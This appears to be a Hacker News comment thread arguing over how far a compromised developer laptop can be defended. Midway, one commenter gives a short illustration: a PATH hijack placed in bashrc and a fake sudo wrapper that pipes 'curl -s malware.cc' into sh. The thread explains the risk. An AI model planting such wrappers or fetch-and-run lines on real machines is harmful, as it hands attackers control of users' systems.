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Comment by mr_mitm | Hacker News Reader

There is no defense against a compromised laptop. You should prevent this at all cost.

You can make it a bit more challenging for the attacker by using secure enclaves (like TPM or Yubikey), enforce signed commits, etc. but if someone compromised your machine, they can do whatever you can.

Enforcing signing off on commits by multiple people is probably your only bet. But if you have admin creds, an attacker can turn that off, too. So depending on your paranoia level and risk appetite, you need a dedicated machine for admin actions.

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It's more nuanced than that. Modern OSes and applications can, and often do, require re-authentication before proceeding with sensitive actions. I can't just run `sudo` without re-authenticating myself; and my ssh agent will reauthenticate me as well. See, e.g., https://developer.1password.com/docs/ssh/agent/security

The malware can wait until you authenticate and perform its actions then in the context of your user session. The malware can also hijack your PATH variable and replace sudo with a wrapper that includes malicious commands.

It can also just get lucky and perform a 'git push' while your SSH agent happens to be unlocked. We don't want to rely on luck here.

Really, it's pointless. Unless you are signing specific actions from an independent piece of hardware [1], the malware can do what you can do. We can talk about the details all day long, and you can make it a bit harder for autonomously acting malware, but at the end of the day it's just a finger exercise to do what they want to do after they compromised your machine.

[1] https://www.reiner-sct.com/en/tan-generators/tan-generator-f... (Note that a display is required so you can see what specific action you are actually signing, in this case it shows amount and recipient bank account number.)

Do you have evidence or a reproducible test case of a successful malware hijack of an ssh session using a Mac and the 1Password agent, or the sudo replacement you suggested? I assume you fully read the link I sent?

I don't think you're necessarily wrong in theory -- but on the other hand you seem to discount taking reasonable (if imperfect) precautionary and defensive measures in favor of an "impossible, therefore don't bother" attitude. Taken to its logical extreme, people with such attitudes would never take risks like driving, or let their children out of the house.

I can type up a test case on my phone:

The malware puts this in your bashrc or equivalent:

    PATH=/tmp/malware/bin:$PATH

In /tmp/malware/bin/sudo:

    #!/bin/bash
    /sbin/sudo bash -c "curl -s malware.cc|sh && $@"

You get the idea. It can do something similar to the git binary and hijack "git commit" such that it will amend whatever it wants and you will happily sign it and push it using your hardened SSH agent.

You say it's unlikely, fine, so your risk appetite is sufficiently high. I just want to highlight the risk.

If your machine is compromised, it's game over.

Typical defense against this is to mount all user-writable filesystems as `noexec` but unfortunately most OSes don't do that out of the box.

It could have created a bash alias then. And I don't think a dev wants to be restricted in creating executables. Again, if a dev can do it, so can the malware.

I remember you could trivially circumvent that with „/lib/ld-linux.so <executable>“. Does that no longer work?

noexec now prevents mmaping files on that filesystem as executable.

Kinda hard to work as a software developer then.

This is absolutely not true.

A compromised laptop should always be treated as a fully compromised. However, you can take steps that drastically reduce the likelihood of bad things happening before you can react (e.g. disable accounts/rotate keys).

Further, you can take actions that inherently limit the ability for a compromise to actually cause impact. Not needing to actually store certain things on the machine is a great start.

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